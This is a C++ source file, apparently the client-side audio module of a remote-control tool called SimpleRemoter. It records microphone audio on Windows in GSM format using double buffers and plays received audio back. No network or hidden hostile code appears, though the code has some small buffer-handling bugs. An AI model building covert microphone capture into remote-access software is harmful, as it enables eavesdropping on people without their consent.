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SimpleRemoter/client/Audio.cpp

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// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Audio.h"
#include <iostream>
#ifdef _WINDOWS
#define __CreateThread CreateThread
#else
#include "SafeThread.h"
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_bExit = FALSE;
m_hThreadCallBack = false;
m_Thread = NULL;
m_bIsWaveInUsed = FALSE;
m_bIsWaveOutUsed = FALSE;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
m_ulBufferLength = 1000;
for (int i = 0; i < 2; ++i) {
m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR;
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
m_OutAudioHeader[i] = new WAVEHDR;
}
}
CAudio::~CAudio()
{
m_bExit = TRUE;
if (m_hEventWaveIn) {
SetEvent(m_hEventWaveIn);
SAFE_CLOSE_HANDLE(m_hEventWaveIn);
m_hEventWaveIn = NULL;
}
if (m_hStartRecord) {
SetEvent(m_hStartRecord);
SAFE_CLOSE_HANDLE(m_hStartRecord);
m_hStartRecord = NULL;
}
if (m_bIsWaveInUsed) {
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; ++i)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
Mprintf("没有成功关闭waveInCallBack.\n");
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}
for (int i = 0; i < 2; ++i) {
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_bIsWaveOutUsed) {
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; ++i) {
if (m_InAudioHeader[i])
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
}
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; ++i) {
delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL;
delete [] m_OutAudioHeader[i];
m_OutAudioHeader[i] = NULL;
}
}
BOOL CAudio::InitializeWaveIn()
{
MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0,
waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID);
//打开录音设备COM 1 指定声音规格 2 支持通过线程回调 换缓冲
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
//m_hWaveIn 录音机句柄
if (mmResult != MMSYSERR_NOERROR) {
return FALSE;
}
//录音设备 需要的两个缓冲
for (int i=0; i<2; ++i) {
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData 指针数组
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
m_InAudioHeader[i]->dwFlags = 0;
m_InAudioHeader[i]->dwLoops = 0;
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
}
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
if (m_Thread!=NULL) {
ResumeThread(m_Thread);
}
waveInStart(m_hWaveIn); //录音
m_bIsWaveInUsed = TRUE;
return true;
}
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
{
//录音机
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) {
return NULL;
}
SetEvent(m_hStartRecord);
WaitForSingleObject(m_hEventWaveIn, INFINITE);
*dwBufferSize = m_ulBufferLength;
return m_InAudioData[m_nWaveInIndex]; //返出真正数据
}
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{
CAudio *This = (CAudio *)lParam;
MSG Msg;
while (GetMessage(&Msg, NULL, 0, 0)) {
if (This->m_bExit)
break;
if (Msg.message == MM_WIM_DATA) {
SetEvent(This->m_hEventWaveIn);
WaitForSingleObject(This->m_hStartRecord, INFINITE);
if (This->m_bExit)
break;
Sleep(1);
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
//更新缓冲
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
if (mmResult != MMSYSERR_NOERROR)
break;
}
if (Msg.message == MM_WIM_CLOSE) {
break;
}
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
Mprintf("waveInCallBack end\n");
This->m_hThreadCallBack = false;
return 0XDEADAAAA;
}
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 音频格式 2 播音设备
return NULL;
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) {
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
BOOL CAudio::InitializeWaveOut()
{
if (!waveOutGetNumDevs())
return FALSE;
for (int i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //声音数据
MMRESULT mmResult;
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
if (mmResult != MMSYSERR_NOERROR)
return false;
for (int i = 0; i < 2; ++i) {
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
m_OutAudioHeader[i]->dwFlags = 0;
m_OutAudioHeader[i]->dwLoops = 0;
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
}
m_bIsWaveOutUsed = TRUE;
return TRUE;
}